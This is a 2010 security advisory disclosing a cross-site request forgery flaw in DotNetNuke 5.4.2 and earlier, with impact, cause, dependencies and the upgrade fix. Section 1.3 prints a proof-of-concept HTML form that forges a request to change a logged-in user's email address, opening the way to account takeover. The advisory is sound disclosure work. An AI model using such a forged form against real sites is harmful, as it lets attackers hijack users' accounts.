

MWR InfoSecurity Security
Advisory

DotNetNuke Cross Site
Request Forgery Vulnerability

2010-06-14



Contents

1	Detailed Vulnerability Description	4
1.1	Introduction	4
1.2	Technical Background.....	4
1.3	Exploit Information	5
1.4	Dependencies	5
2	Recommendations.....	6
3	References.....	6

DotNetNuke Cross Site Request Forgery

Package Name:	DotNetNuke
Date:	2010-06-14
Affected Versions:	5.4.2 and earlier

CVE Reference	Not Yet Assigned
Author	Eugene Wahrlich
Severity	Medium
Local/Remote	Remote
Vulnerability Class	Cross Site Request Forgery
Impact	Execution of application functions.
Vendor URL	http://www.dotnetnuke.com
Vendor Response	Remediated in DotNetNuke 5.4.3.
Exploit Details Included	Yes
OWASP Designation	A5: Cross-Site Request Forgery (CSRF)
Web Application Language	VB.NET

Overview:

A vulnerability was identified which could allow an attacker to induce other users to execute application functions on their behalf, in particular circumstances.

Impact:

The most serious attack would be for an attacker to update a user's email address to one of their choice. The recover password function could then be used to gain control of the user's account. To initiate this attack, the user would first need to visit a malicious web page or click a link created by the attacker, whilst authenticated to a website running DotNetNuke.

Cause:

The functions which handle POST requests authenticate the requests by using a session identifier only. There is no other unique request identifier necessary to execute these functions.

Interim Workaround:

No interim workaround is available.

Solution:

Upgrade to DotNetNuke version 5.4.3.

1 Detailed Vulnerability Description

1.1 Introduction

DotNetNuke is a Content Management System (CMS) for the .NET platform, which powers “over 500,000” websites. This vulnerability affects version 5.4.2 and earlier.

It was discovered that the application enabled some sensitive actions, such as changing a registered email address, to be performed with only the session identifier used as authentication. This could enable an attacker to alter a user's email address through a Cross Site Request Forgery (CSRF) attack. The forgotten password functionality could then be used to reset the password and consequently compromise the account.

1.2 Technical Background

Within a web application transactions can occur when a user clicks on links or buttons within a page. These actions will send either HTTP GET or POST requests to the server indicating that the transaction has been requested. A CSRF attack works by an attacker including identical GET or POST requests within a hostile web site. When a user of the application visits the site the transaction request is submitted in the background and will utilise their session credentials.

The testing revealed that the transactions within the site were vulnerable to CSRF attacks; however, the majority of these attacks would require an attacker to know valid ViewState data for the function. ViewState MAC is on by default, however, it does not protect against this attack. ViewState data which is valid for any user can be replayed successfully for any other user.

1.3 Exploit Information

If an attacker were to include a similar HTML form as that given below in their web page and it was submitted by an authenticated user, the user's email address would be updated. This attack could be modified to automatically send the request when a user visits the malicious page.

```
<head>
<script LANGUAGE="JavaScript" type="text/javascript">
function targetForm() {
    document.forms[0].action = document.forms[0].userid.value;
}
</script>
</head>
<body>
<form name="input" action="" id="targetsite" method="post" enctype="application/x-
www-form-urlencoded">
<input type="hidden" name="__EVENTTARGET"
value="dnn$ctr$ManageUsers$User$cmdUpdate$ctl101" />
<input type="hidden" name="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="
/wEPDwUJNzIwNzAyODk0D2QWBmYPFgIeBFRleHQFeTwhRE9DVFlQRSBodGlsIFBVQkxJQyAiLS8vV... " />
<input size="100" type="text" name="userID" id="userid"
value="http://example.com/nuke/UserProfile/tabid/111/ctl/Profile/userId/222/Default.
aspx" />
<input type="text" name="dnn$ctr$ManageUsers$User$UserEditor$ctl104$Email"
value="test@test.com" />
<br /><br /><input type="submit" value="Submit" onclick="targetForm()" />
</form>
</body>
```

Utilising the ViewStatesUserKey property would ensure that the data that was submitted was tied to a particular user of the site and would therefore limit the effectiveness of the attack. However, if ViewStateUserKey properties are not included in the ViewState the potential for these types of attack still exists.

1.4 Dependencies

This attack has two dependencies, as listed below:

- The attacker would need access to a user account on the target website to be able to copy valid ViewState which is required for the attack.
- The victim needs to visit a malicious web page or click a crafted link supplied by the attacker, whilst being authenticated to the target website.

2 Recommendations

Upgrade to DotNetNuke 5.4.3.

3 References

OWASP Cross-Site Request Forgery (CSRF)

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

MWR InfoSecurity
St. Clement House
1-3 Alencon Link
Basingstoke, RG21 7SB
Tel: +44 (0)1256 300920
Fax: +44 (0)1256 844083
mwrinfosecurity.com